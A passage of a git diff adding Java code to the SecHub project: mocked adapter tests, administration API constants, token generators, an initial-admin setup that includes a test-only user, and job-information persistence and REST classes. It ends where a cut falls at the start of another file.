b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/mock/MockedAdapterSetupServiceTest.java new file mode 100644 index 0000000000..b23f142761 --- /dev/null +++ b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/mock/MockedAdapterSetupServiceTest.java @@ -0,0 +1,36 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.mock; + +import static org.junit.Assert.*; + +import java.io.File; + +import org.junit.Test; + +import com.daimler.sechub.adapter.SecHubAdapterTestFileSupport; + +public class MockedAdapterSetupServiceTest { + + @Test + public void read_default_setup_possible_and_has_atleast_checkmarx_and_netsparker_data_for_ANY_OTHER_TARGET_inside() { + /* prepare */ + File gradleSafeTestFile = SecHubAdapterTestFileSupport.INSTANCE + .createFileFromResourcePath(MockedAdapterSetupService.DEFAULT_FILE_PATH); + + + MockedAdapterSetupService service = new MockedAdapterSetupService(); + service.filePath = gradleSafeTestFile.getAbsolutePath(); + + /* execute */ + MockedAdapterSetupEntry checkmarxSetup = service.getSetupFor("MockedCheckmarxAdapter"); + MockedAdapterSetupEntry netsparkerSetup = service.getSetupFor("MockedNetsparkerAdapter"); + + /* test */ + assertNotNull(checkmarxSetup); + assertNotNull(checkmarxSetup.getCombination(MockedAdapterSetupCombination.ANY_OTHER_TARGET)); + + assertNotNull(netsparkerSetup); + assertNotNull(netsparkerSetup.getCombination(MockedAdapterSetupCombination.ANY_OTHER_TARGET)); + } + +} diff --git a/sechub-adapter/src/test/java/com/daimler/sechub/adapter/mock/MockedAdapterSetupTest.java b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/mock/MockedAdapterSetupTest.java new file mode 100644 index 0000000000..99fa43ef6d --- /dev/null +++ b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/mock/MockedAdapterSetupTest.java @@ -0,0 +1,45 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.mock; + +import static org.junit.Assert.*; + +import org.junit.Before; +import org.junit.Test; + +public class MockedAdapterSetupTest { + + private MockedAdapterSetup setupToTest; + + @Before + public void before() { + setupToTest = new MockedAdapterSetup(); + } + + @Test + public void empty_get_something_is_null() { + assertNull(setupToTest.getEntryFor("xyz")); + } + + @Test + public void non_empty_get_something_not_contained_is_null() { + /* prepare */ + setupToTest.getEntries().add(new MockedAdapterSetupEntry()); + + /* test */ + assertNull(setupToTest.getEntryFor("xyz")); + } + + @Test + public void non_empty_get_something_contained_returns_entry() { + /* prepare */ + MockedAdapterSetupEntry e = new MockedAdapterSetupEntry(); + e.setAdapterId("xyz"); + + setupToTest.getEntries().add(e); + + /* test */ + assertEquals(e, setupToTest.getEntryFor("xyz")); + } + + +} diff --git a/sechub-adapter/src/test/java/com/daimler/sechub/adapter/testclasses/TestAbstractSpringRestAdapterContext.java b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/testclasses/TestAbstractSpringRestAdapterContext.java new file mode 100644 index 0000000000..eb0c8f6a65 --- /dev/null +++ b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/testclasses/TestAbstractSpringRestAdapterContext.java @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.testclasses; + +import org.springframework.http.client.ClientHttpRequestInterceptor; + +import com.daimler.sechub.adapter.AbstractSpringRestAdapterContext; + +public class TestAbstractSpringRestAdapterContext extends AbstractSpringRestAdapterContext implements TestAdapterContextInterface{ + + public TestAbstractSpringRestAdapterContext(TestAdapterConfigInterface config, TestAdapterInterface adapter) { + super(config, adapter); + } + + @Override + protected ClientHttpRequestInterceptor createInterceptorOrNull(TestAdapterConfigInterface config) { + return null; + } + +} \ No newline at end of file diff --git a/sechub-adapter/src/test/java/com/daimler/sechub/adapter/testclasses/TestAdapter.java b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/testclasses/TestAdapter.java new file mode 100644 index 0000000000..43d7ecf5e7 --- /dev/null +++ b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/testclasses/TestAdapter.java @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.testclasses; + +import com.daimler.sechub.adapter.AbstractAdapter; +import com.daimler.sechub.adapter.AdapterException; + +public class TestAdapter extends AbstractAdapter implements TestAdapterInterface{ + + String apiPrefix; + + public void setApiPrefix(String apiPrefix) { + this.apiPrefix = apiPrefix; + } + + @Override + protected String getAPIPrefix() { + return apiPrefix; + } + + @Override + public String start(TestAdapterConfigInterface config) throws AdapterException { + return null; + } + +} diff --git a/sechub-adapter/src/test/java/com/daimler/sechub/adapter/testclasses/TestAdapterConfig.java b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/testclasses/TestAdapterConfig.java new file mode 100644 index 0000000000..9596a07473 --- /dev/null +++ b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/testclasses/TestAdapterConfig.java @@ -0,0 +1,8 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.testclasses; + +import com.daimler.sechub.adapter.AbstractAdapterConfig; + +public class TestAdapterConfig extends AbstractAdapterConfig implements TestAdapterConfigInterface{ + +} \ No newline at end of file diff --git a/sechub-adapter/src/test/java/com/daimler/sechub/adapter/testclasses/TestAdapterConfigBuilder.java b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/testclasses/TestAdapterConfigBuilder.java new file mode 100644 index 0000000000..74b84ded5e --- /dev/null +++ b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/testclasses/TestAdapterConfigBuilder.java @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.testclasses; + +import com.daimler.sechub.adapter.AbstractAdapterConfigBuilder; + +public class TestAdapterConfigBuilder extends AbstractAdapterConfigBuilder{ + + @Override + protected void customBuild(TestAdapterConfigInterface config) { + + } + + @Override + protected TestAdapterConfigInterface buildInitialConfig() { + return new TestAdapterConfig(); + } + + @Override + protected void customValidate() { + + } + +} \ No newline at end of file diff --git a/sechub-adapter/src/test/java/com/daimler/sechub/adapter/testclasses/TestAdapterConfigInterface.java b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/testclasses/TestAdapterConfigInterface.java new file mode 100644 index 0000000000..b3ea579371 --- /dev/null +++ b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/testclasses/TestAdapterConfigInterface.java @@ -0,0 +1,8 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.testclasses; + +import com.daimler.sechub.adapter.AdapterConfig; + +public interface TestAdapterConfigInterface extends AdapterConfig{ + +} \ No newline at end of file diff --git a/sechub-adapter/src/test/java/com/daimler/sechub/adapter/testclasses/TestAdapterContextInterface.java b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/testclasses/TestAdapterContextInterface.java new file mode 100644 index 0000000000..df32ed02db --- /dev/null +++ b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/testclasses/TestAdapterContextInterface.java @@ -0,0 +1,8 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.testclasses; + +import com.daimler.sechub.adapter.AdapterContext; + +public interface TestAdapterContextInterface extends AdapterContext{ + +} diff --git a/sechub-adapter/src/test/java/com/daimler/sechub/adapter/testclasses/TestAdapterInterface.java b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/testclasses/TestAdapterInterface.java new file mode 100644 index 0000000000..d318f64c9f --- /dev/null +++ b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/testclasses/TestAdapterInterface.java @@ -0,0 +1,8 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.testclasses; + +import com.daimler.sechub.adapter.Adapter; + +public interface TestAdapterInterface extends Adapter{ + +} \ No newline at end of file diff --git a/sechub-administration/build.gradle b/sechub-administration/build.gradle new file mode 100644 index 0000000000..199fbc35f6 --- /dev/null +++ b/sechub-administration/build.gradle @@ -0,0 +1,17 @@ +// SPDX-License-Identifier: MIT + /*============================================================================ + * Build file for subproject + * + * Root build file: "${rootProject.projectDir}/build.gradle" + * ============================================================================ + */ +dependencies { + + compile project(':sechub-shared-kernel') + compile library.springboot_starter_thymeleaf + compile library.apache_commons_validator + + testCompile project(':sechub-testframework') + +} + diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/APITokenGenerator.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/APITokenGenerator.java new file mode 100644 index 0000000000..c16611dad5 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/APITokenGenerator.java @@ -0,0 +1,18 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration; + +import java.util.Base64; +import java.util.UUID; + +import org.springframework.stereotype.Service; + +@Service +public class APITokenGenerator { + + public String generateNewAPIToken() { + /* UUID uses SecureRandom...*/ + String uuidAsString = UUID.randomUUID().toString(); + return Base64.getEncoder().encodeToString(uuidAsString.getBytes()); + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/AdministrationAPIConstants.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/AdministrationAPIConstants.java new file mode 100644 index 0000000000..3af1c6dd35 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/AdministrationAPIConstants.java @@ -0,0 +1,72 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration; + +import static com.daimler.sechub.sharedkernel.APIConstants.*; + +public class AdministrationAPIConstants{ + + private AdministrationAPIConstants() { + } + + /* +-----------------------------------------------------------------------+ */ + /* +............................ SIGN UP ................................+ */ + /* +-----------------------------------------------------------------------+ */ + /** + * Signup by a new user + */ + public static final String API_SIGNUP = API_ANONYMOUS+"signup"; + + /** + * Delete signup + */ + public static final String API_DELETE_SIGNUP = API_ADMINISTRATION+"signup/{userId}"; + + /** + * Accept sign up by admin + */ + public static final String API_ACCEPT_USER_SIGNUP = API_ADMINISTRATION + "signup/accept/{userId}"; + + /** + * show all users wanting to sign up + */ + public static final String API_LIST_USER_SIGNUPS = API_ADMINISTRATION + "signups"; + + /* +-----------------------------------------------------------------------+ */ + /* +............................ Users ....................................+ */ + /* +-----------------------------------------------------------------------+ */ + /** + * shows all users names + */ + public static final String API_LIST_ALL_USERS = API_ADMINISTRATION + "users"; + + public static final String API_LIST_ALL_ADMINS = API_ADMINISTRATION + "admins"; + + + public static final String API_CREATE_PROJECT = API_ADMINISTRATION+"project"; + + public static final String API_LIST_ALL_PROJECTS = API_ADMINISTRATION+"projects"; + // inspired by https://developer.github.com/v3/orgs/members/#add-or-update-organization-membership + private static final String COMMON_API_PROJECT_MEMBERSHIPS = API_ADMINISTRATION+"project/{projectId}/membership/{userId}"; + + public static final String API_ASSIGN_USER_TO_PROJECT = COMMON_API_PROJECT_MEMBERSHIPS; + public static final String API_UNASSIGN_USER_TO_PROJECT = COMMON_API_PROJECT_MEMBERSHIPS; + + public static final String API_GRANT_ADMIN_RIGHTS_TO_USER = API_ADMINISTRATION+"user/{userId}/grant/superadmin"; + public static final String API_REVOKE_ADMIN_RIGHTS_FROM_USER = API_ADMINISTRATION+"user/{userId}/revoke/superadmin"; + + public static final String API_SHOW_USER_DETAILS = API_ADMINISTRATION+"user/{userId}"; + public static final String API_DELETE_USER= API_ADMINISTRATION+"user/{userId}"; + public static final String API_SHOW_PROJECT_DETAILS = API_ADMINISTRATION+"project/{projectId}"; + public static final String API_DELETE_PROJECT= API_ADMINISTRATION+"project/{projectId}"; + public static final String API_UPDATE_PROJECT_WHITELIST=API_ADMINISTRATION+"project/{projectId}/whitelist"; + + public static final String API_LIST_JOBS_RUNNING = API_ADMINISTRATION+"jobs/running"; + + /* +-----------------------------------------------------------------------+ */ + /* +............................ Anonymous ................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String API_FETCH_NEW_API_TOKEN_BY_ONE_WAY_TOKEN = API_ANONYMOUS+"apitoken"; + public static final String API_REQUEST_NEW_APITOKEN = API_ANONYMOUS+"refresh/apitoken/{emailAddress}"; + + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/AdministrationEnvironment.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/AdministrationEnvironment.java new file mode 100644 index 0000000000..fd92417cc2 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/AdministrationEnvironment.java @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.sharedkernel.MustBeDocumented; + +@Component +public class AdministrationEnvironment { + + @Value("${sechub.server.administration.baseurl:${sechub.server.baseurl}}") + @MustBeDocumented(value="Base url for server - e.g. https://sechub.example.org. ") + String baseURL; + + @Value("${sechub.server.administration.baseurl:${sechub.server.baseurl}}") + @MustBeDocumented(value="Base url for administration server - e.g. https://sechub.example.org. When users will have emails with links to sechub server this value will be used as base.") + String administrationBaseURL; + + public String getAdministrationBaseURL() { + return administrationBaseURL; + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/InitialAdminInitializer.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/InitialAdminInitializer.java new file mode 100644 index 0000000000..eb0002a5a6 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/InitialAdminInitializer.java @@ -0,0 +1,70 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration; + +import java.util.UUID; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.CommandLineRunner; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Profile; +import org.springframework.core.annotation.Order; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.domain.administration.user.InternalInitialDataService; +import com.daimler.sechub.sharedkernel.MustBeDocumented; +import com.daimler.sechub.sharedkernel.Profiles; + +@Component +public class InitialAdminInitializer { + + @Value("${sechub.initialadmin.userid}") + @MustBeDocumented(value="Userid of initial administrator") + String initialAdminUserid; + + @Value("${sechub.initialadmin.email}") + @MustBeDocumented(value="Mail of initial administrator") + String initialAdminEmailAdress; + + @Value("${sechub.initialadmin.apitoken:}")// : so default is empty, making this optional. + @MustBeDocumented(value="An apitoken for initial admin, will only be used in DEV and INTEGRATIONTEST profiles and is optional!") + String initialAdminApiToken; + + @Autowired + APITokenGenerator apiTokenGenerator; + + @Bean + @Order(500) + @Profile(Profiles.INTEGRATIONTEST) + public CommandLineRunner initialIntegrationTestAdmin(InternalInitialDataService internalService) { + return args -> { + /* we use {noop} variant for integration tests - why? Because {bcrypt} algorith does slow down integration tests ! + * Integration tests do not contain any production data and also run only on a non productive system, so in this case + * the usage is okay, because automated integration tests run much faster. + */ + internalService.createInitialAdmin(initialAdminUserid, initialAdminEmailAdress, "{noop}"+initialAdminApiToken); + /* an additional test user, has no rights initial. Only for integration tests, so password here plain and not configurable */ + internalService.createInitialTestUser("int-test_onlyuser", "int-test_onlyuser@test.sechub.example.org", "{noop}int-test_onlyuser-pwd"); + }; + } + + @Bean + @Order(500) + @Profile({Profiles.DEV}) + public CommandLineRunner initialSecHubAdmDevelopmentOnly(InternalInitialDataService internalService) { + return args -> { + internalService.createInitialAdmin(initialAdminUserid, initialAdminEmailAdress,initialAdminApiToken); + }; + } + + @Bean + @Order(500) + @Profile({Profiles.PROD}) // so not for test! + public CommandLineRunner initialSecHubAdm(InternalInitialDataService internalService) { + return args -> { + internalService.createInitialAdmin(initialAdminUserid, initialAdminEmailAdress,UUID.randomUUID().toString()); // uses SecureRAndom + }; + } + + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/OneTimeTokenGenerator.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/OneTimeTokenGenerator.java new file mode 100644 index 0000000000..42ea2119ea --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/OneTimeTokenGenerator.java @@ -0,0 +1,18 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration; + +import java.util.Base64; +import java.util.UUID; + +import org.springframework.stereotype.Service; + +@Service +public class OneTimeTokenGenerator { + + public String generateNewOneTimeToken() { + /* UUID uses SecureRandom...*/ + String uuidAsString = UUID.randomUUID().toString(); + return Base64.getEncoder().encodeToString(uuidAsString.getBytes()); + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/job/JobAdministrationMessageHandler.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/job/JobAdministrationMessageHandler.java new file mode 100644 index 0000000000..ad2bea94d3 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/job/JobAdministrationMessageHandler.java @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.job; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.sharedkernel.messaging.AsynchronMessageHandler; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.IsReceivingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.JobMessage; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKeys; +import com.daimler.sechub.sharedkernel.messaging.MessageID; + +@Component +public class JobAdministrationMessageHandler implements AsynchronMessageHandler{ + + private static final Logger LOG = LoggerFactory.getLogger(JobAdministrationMessageHandler.class); + + @Autowired + JobInformationCreateService createService; + + @Autowired + JobInformationDeleteService deleteService; + + @Override + public void receiveAsyncMessage(DomainMessage request) { + MessageID messageId = request.getMessageId(); + LOG.debug("received domain request: {}", request); + + switch (messageId) { + case JOB_STARTED: + handleJobStarted(request); + break; + case JOB_DONE: + handleJobDone(request); + break; + case JOB_FAILED: + handleJobFailed(request); + break; + default: + throw new IllegalStateException("unhandled message id:"+messageId); + } + } + + @IsReceivingAsyncMessage(MessageID.JOB_STARTED) + private void handleJobStarted(DomainMessage request) { + JobMessage message = request.get(MessageDataKeys.JOB_STARTED_DATA); + createService.createByMessage(message, JobStatus.RUNNING); + } + + @IsReceivingAsyncMessage(MessageID.JOB_DONE) + private void handleJobDone(DomainMessage request) { + JobMessage message = request.get(MessageDataKeys.JOB_DONE_DATA); + deleteService.delete(message.getJobUUID()); + } + + @IsReceivingAsyncMessage(MessageID.JOB_FAILED) + private void handleJobFailed(DomainMessage request) { + JobMessage message = request.get(MessageDataKeys.JOB_FAILED_DATA); + deleteService.delete(message.getJobUUID()); + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/job/JobAdministrationRestController.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/job/JobAdministrationRestController.java new file mode 100644 index 0000000000..e296e7b239 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/job/JobAdministrationRestController.java @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.job; + +import java.util.List; + +import javax.annotation.security.RolesAllowed; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.ResponseStatus; +import org.springframework.web.bind.annotation.RestController; + +import com.daimler.sechub.domain.administration.AdministrationAPIConstants; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.job.UseCaseAdministratorListsAllRunningJobs; + +/** + * The rest api for job administration done by a super admin. + * + * @author Albert Tregnaghi + * + */ +@RestController +@EnableAutoConfiguration +@RolesAllowed(RoleConstants.ROLE_SUPERADMIN) +public class JobAdministrationRestController { + + @Autowired + JobInformationListService jobListService; + + + /* @formatter:off */ + @UseCaseAdministratorListsAllRunningJobs( + @Step( + number=1, + name="Rest call", + needsRestDoc=true, + description="Administrator lists all running jobs by calling rest api")) + @RequestMapping(path = AdministrationAPIConstants.API_LIST_JOBS_RUNNING, method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + @ResponseStatus(HttpStatus.OK) + public List fetchAllRunningJobs() { + /* @formatter:on */ + return jobListService.fetchRunningJobs(); + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/job/JobInformation.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/job/JobInformation.java new file mode 100644 index 0000000000..d7d62a87f0 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/job/JobInformation.java @@ -0,0 +1,174 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.job; + +import static javax.persistence.EnumType.*; + +import java.time.LocalDateTime; +import java.util.Objects; +import java.util.UUID; + +import javax.persistence.Column; +import javax.persistence.Entity; +import javax.persistence.Enumerated; +import javax.persistence.GeneratedValue; +import javax.persistence.Id; +import javax.persistence.Table; +import javax.persistence.Version; + +import org.hibernate.annotations.GenericGenerator; + +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; + +@Entity +@Table(name = JobInformation.TABLE_NAME) +@JsonIgnoreProperties("uuid") +public class JobInformation { + + /* +-----------------------------------------------------------------------+ */ + /* +............................ SQL ......................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String TABLE_NAME = "ADM_JOB_INFORMATION"; + /** + * Email adress is also the primary key. So no duplicates + */ + public static final String COLUMN_UUID = "UUID"; + public static final String COLUMN_JOB_UUID = "JOB_UUID"; + public static final String COLUMN_PROJECT_ID = "PROJECT_ID"; + public static final String COLUMN_OWNER = "OWNER"; + public static final String COLUMN_STATUS = "STATUS"; + /** + * A generic time stamp - depends on current {@link JobStatus} . For status + * "CREATED", this means creation time, for "RUNNING" the time when run started, + * for "DONE" this field means the time stamp when it has been done + */ + public static final String COLUMN_SINCE = "SINCE"; + /** + * This is a free text field and shows up some information about + */ + public static final String COLUMN_INFO = "INFO"; + /** + * JSON configuration for this job. Interesting for administrators because of support + */ + public static final String COLUMN_CONFIGURATION = "CONFIGURATION"; + + /* +-----------------------------------------------------------------------+ */ + /* +............................ JPQL .....................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String CLASS_NAME = JobInformation.class.getSimpleName(); + public static final String PROPERTY_UUID = "uUID"; + public static final String PROPERTY_JOB_UUID = "jobUUID"; + public static final String PROPERTY_STATUS = "status"; + + public static final String PROPERTY_PROJECT_ID= "projectId"; + public static final String PROPERTY_OWNER = "owner"; + public static final String PROPERTY_SINCE= "since"; + public static final String PROPERTY_CONFIGURATION = "configuration"; + + public static final String QUERY_FIND_ALL_RUNNING_JOBS = "SELECT j FROM JobInformation j where j.status = com.daimler.sechub.domain.administration.job.JobStatus.RUNNING"; + public static final String QUERY_DELETE_JOBINFORMATION_FOR_JOBUUID = "DELETE FROM JobInformation j WHERE j.jobUUID=:jobUUID"; + + @Id + @GeneratedValue(generator = "UUID") + @GenericGenerator(name = "UUID", strategy = "org.hibernate.id.UUIDGenerator") + @Column(name = COLUMN_UUID, updatable = false, nullable = false) + UUID uUID; + + @Column(name = COLUMN_JOB_UUID, unique = true) + UUID jobUUID; + + @Column(name = COLUMN_PROJECT_ID, nullable = false) + String projectId; + + @Column(name = COLUMN_OWNER, nullable = false) + String owner; + + @Enumerated(STRING) + @Column(name = COLUMN_STATUS, nullable = false) + JobStatus status; + + @Column(name = COLUMN_SINCE) // remark: we setup hibernate to use UTC settings - see application.properties + LocalDateTime since; + + @Column(name = COLUMN_CONFIGURATION) + String configuration; + + @Column(name = COLUMN_INFO) + String info; + + @Version + @Column(name = "VERSION") + Integer version; + + public UUID getUUID() { + return uUID; + } + + public String getOwner() { + return owner; + } + + public void setOwner(String owner) { + this.owner = owner; + } + + public String getConfiguration() { + return configuration; + } + + public void setConfiguration(String jsonConfiguration) { + this.configuration = jsonConfiguration; + } + + public void setProjectId(String projectId) { + this.projectId = projectId; + } + + public void setJobUUID(UUID jobUUID) { + this.jobUUID = jobUUID; + } + + public String getProjectId() { + return projectId; + } + + public UUID getJobUUID() { + return jobUUID; + } + + public JobStatus getStatus() { + return status; + } + + public void setStatus(JobStatus status) { + this.status = status; + } + + public LocalDateTime getSince() { + return since; + } + + public void setSince(LocalDateTime since) { + this.since = since; + } + + @Override + public int hashCode() { + return Objects.hash(jobUUID); + } + + @Override + public boolean equals(Object obj) { + if (this == obj) { + return true; + } + if (obj == null) { + return false; + } + if (getClass() != obj.getClass()) { + return false; + } + JobInformation other = (JobInformation) obj; + return Objects.equals(uUID, other.uUID); + } + +} \ No newline at end of file diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/job/JobInformationCreateService.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/job/JobInformationCreateService.java new file mode 100644 index 0000000000..4608c6fdf2 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/job/JobInformationCreateService.java @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.job; + +import java.util.UUID; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.validation.annotation.Validated; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.messaging.JobMessage; +import com.daimler.sechub.sharedkernel.usecases.job.UseCaseSchedulerStartsJob; + +@Service +public class JobInformationCreateService { + + private static final Logger LOG = LoggerFactory.getLogger(JobInformationCreateService.class); + + @Autowired + JobInformationRepository repository; + + @Validated + @UseCaseSchedulerStartsJob(@Step(number = 4, name = "Store admin job info", description = "Fetches event about started job and store info in admin domain.")) + public void createByMessage(JobMessage message, JobStatus status) { + String projectId = message.getProjectId(); + UUID jobUUID = message.getJobUUID(); + + LOG.debug("creating a new job information entry for project={}, job={}", projectId,jobUUID); + + JobInformation entity = new JobInformation(); + + entity.setProjectId(projectId); + entity.setJobUUID(jobUUID); + entity.setConfiguration(message.getConfiguration()); + entity.setOwner(message.getOwner()); + entity.setSince(message.getSince()); + + entity.setStatus(status); + + entity= repository.save(entity); + + LOG.debug("saved new job information entry uuid={} - for project={}, job={}, ", projectId,jobUUID, entity.getUUID()); + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/job/JobInformationDeleteService.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/job/JobInformationDeleteService.java new file mode 100644 index 0000000000..71cd19d737 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/job/JobInformationDeleteService.java @@ -0,0 +1,30 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.job; + +import java.util.UUID; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.validation.annotation.Validated; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.job.UseCaseSchedulerStartsJob; + +@Service +public class JobInformationDeleteService { + + private static final Logger LOG = LoggerFactory.getLogger(JobInformationDeleteService.class); + + @Autowired + JobInformationRepository repository; + + @Validated + @UseCaseSchedulerStartsJob(@Step(number = 5, name = "Update admin job info", description = "Deletes store info in admin domain when job is done.")) + public void delete(UUID jobUUID) { + LOG.debug("deleting job information for job with uuid:{}",jobUUID); + repository.deleteJobInformationWithJobUUID(jobUUID); + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/job/JobInformationListService.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/job/JobInformationListService.java new file mode 100644 index 0000000000..20f481441c --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/job/JobInformationListService.java @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.job; + +import java.util.List; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.job.UseCaseAdministratorListsAllRunningJobs; + +@Service +public class JobInformationListService { + + + @Autowired + JobInformationRepository repository; + + @UseCaseAdministratorListsAllRunningJobs(@Step(number = 2, name = "Fetchjob information from database", description = "Fetches stored job information from administration database.")) + public List fetchRunningJobs() { + + return repository.findAllRunningJobs(); + } + + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/job/JobInformationRepository.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/job/JobInformationRepository.java new file mode 100644 index 0000000000..778591f362 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/job/JobInformationRepository.java @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.job; + +import java.util.List; +import java.util.Optional; +import java.util.UUID; + +import org.springframework.data.jpa.repository.JpaRepository; +import org.springframework.data.jpa.repository.Modifying; +import org.springframework.data.jpa.repository.Query; +import org.springframework.data.repository.query.Param; +import org.springframework.transaction.annotation.Transactional; + +public interface JobInformationRepository extends JpaRepository { + + public Optional findByJobUUID(UUID jobUUID); + + @Query(JobInformation.QUERY_FIND_ALL_RUNNING_JOBS) + public List findAllRunningJobs(); + + @Transactional + @Modifying + @Query(JobInformation.QUERY_DELETE_JOBINFORMATION_FOR_JOBUUID) + public void deleteJobInformationWithJobUUID(@Param("jobUUID") UUID jobUUID); +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/job/JobStatus.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/job/JobStatus.java new file 